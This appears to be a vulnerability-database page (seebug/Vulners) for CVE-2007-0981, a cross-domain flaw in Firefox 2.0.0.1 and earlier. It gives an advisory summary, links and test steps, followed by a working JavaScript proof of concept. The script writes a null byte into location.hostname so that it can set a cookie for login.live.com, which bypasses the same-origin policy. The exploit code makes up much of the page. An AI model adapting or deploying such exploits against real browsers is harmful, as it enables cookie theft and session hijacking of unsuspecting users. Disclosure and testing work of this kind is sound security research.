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Mozilla Firefox <= 2.0.0.1 (location.hostname) Cross-Domain Vulnerability

🗓️ 22 Feb 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 32 Views

Mozilla Firefox location.hostname Cross-Domain Vulnerability allows remote attackers to bypass same origin policy, steal cookies, and conduct other attacks through a URI with a null byte to the hostname (location.hostname) DOM property

Related
Code

                                                <!--
________________________________________________________________________________
  
Mozilla Firefox \'location.hostname\' Cross-Domain Vulnerability
________________________________________________________________________________

Software      : Mozilla Firefox version 2.0.0.1 and prior 
CVE reference : CVE-2007-0981
Impact        : Security Bypass
Risk          : Moderate
Discovered by : Michal Zalewski (http://lcamtuf.coredump.cx/)
Advisory Date	: 2007-02-15

Mozilla Firefox allows remote attackers to bypass the same origin policy, steal
cookies, and conduct other attacks by writing a URI with a null byte to the
hostname (location.hostname) DOM property, due to interactions with DNS
resolver code.

Links
http://lcamtuf.dione.cc/ffhostname.html (test)
https://bugzilla.mozilla.org/show_bug.cgi?id=370445
________________________________________________________________________________

How To Test Your Browser ?
1 - Execute this on your local web server (or change variable \'mydomain\')
2 - Go to the link \'http://login.live.com/\' and read the login
    (or check Tools -> Options -> Privacy -> Show Cookies for login.live.com)
________________________________________________________________________________

Gorn, gorn.support[gmail]com
2007-02-19 16:00

-->

<script language=\"javascript\"> 
var mydomain = \'127.0.0.1\';
var var_cook = \'MSPPre=firefox_vulnerability_test\';
var dom_cook = \'login.live.com\';

if (location.hostname == mydomain)
{
  try { location.hostname = mydomain + \'x00www.\' + dom_cook; } 
  catch (err) { alert(\'Failed to modify location.hostname\'); }
} else {
  document.cookie = var_cook + \'; domain=.\' + dom_cook + \'; path=/;\';  
}
</script>
                              

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22 Feb 2007 00:00Current
9.5High risk
Vulners AI Score9.5
EPSS0.16432
32